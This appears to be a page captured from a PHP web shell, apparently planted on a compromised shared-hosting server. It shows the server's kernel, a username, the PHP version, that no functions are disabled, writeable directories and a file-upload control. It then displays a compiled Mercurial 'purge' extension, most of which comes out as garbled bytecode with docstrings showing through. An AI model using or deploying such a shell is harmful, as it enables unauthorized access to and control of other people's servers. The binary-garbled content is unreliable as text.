KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache
System : Linux cs317.bluehost.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : andertr9 ( 1047)
PHP Version : 8.2.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/hgext/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/hgext/purge.pyc
�
Hq�Qc
@s�dZddlmZmZmZmZddlmZddlZddl	Z	iZ
eje
�ZdZedddded	�fd
dded�fd
dded�fddded�fgejed��d��ZdS(s<command to delete untracked files from the working directoryi����(tutiltcommandstcmdutiltscmutil(t_Ntinternalspurge|cleantasabort-on-errsabort if an error occursttallspurge ignored files tootptprints(print filenames instead of deleting themt0tprint0s?end filenames with NUL, for use with xargs (implies -p/--print)shg purge [OPTION]... [DIR]...c
sR�d�d��dr*d�t�n�����fd�}d�}g}tj�d|��}|j|_�jd|d�d	d
t�}xDt|d|d�D]*}	�j	t
d
�|	�|||	�q�Wxit|dt�D]U}	||	�r�tj�j
|	��r��j	t
d�|	�|tj|	�q�q�WdS(s�removes files not tracked by Mercurial

    Delete files not known to Mercurial. This is useful to test local
    and uncommitted changes in an otherwise-clean source tree.

    This means that purge will delete:

    - Unknown files: files marked with "?" by :hg:`status`
    - Empty directories: in fact Mercurial ignores directories unless
      they contain files under source control management

    But it will leave untouched:

    - Modified and unmodified tracked files
    - Ignored files (unless --all is specified)
    - New files added to the repository (with :hg:`add`)

    If directories are given on the command line, only files in these
    directories are considered.

    Be careful with purge, as you could irreversibly delete some files
    you forgot to add to the repository. If you only want to print the
    list of files that this program would delete, use the --print
    option.
    R
s
Rtcs��rwy|�j|��Wq�tk
rstd�|}�drYtj|��n�jtd�|�q�Xn�jd|�f�dS(Ns%s cannot be removedtabort_on_errswarning: %s
s%s%s(twjointOSErrorRRtAborttwarntwrite(tremove_functnametm(tactteoltoptstrepotui(s1/usr/lib64/python2.7/site-packages/hgext/purge.pytremoveKs

cSs�ytj|�Wnltk
rtj|�}|jtj@dkrL�ntj|tj|j�tjB�tj|�nXdS(Ni(tosRRtstattst_modetS_IWRITEtchmodtS_IMODE(tpathts((s1/usr/lib64/python2.7/site-packages/hgext/purge.pyt
removefileWs
#tmatchtignoredRtunknowniisremoving file %s
treversesremoving directory %s
N(tFalseRR&tNonetappendtdirtstatustTruetsortedtnoteRRtlistdirRtrmdir(
RRtdirsRRR%tdirectoriesR&R.tf((RRRRRs1/usr/lib64/python2.7/site-packages/hgext/purge.pytpurge#s$"
		"%(t__doc__t	mercurialRRRRtmercurial.i18nRRRtcmdtabletcommandt
testedwithR+twalkoptsR7(((s1/usr/lib64/python2.7/site-packages/hgext/purge.pyt<module>s"

Anon7 - 2021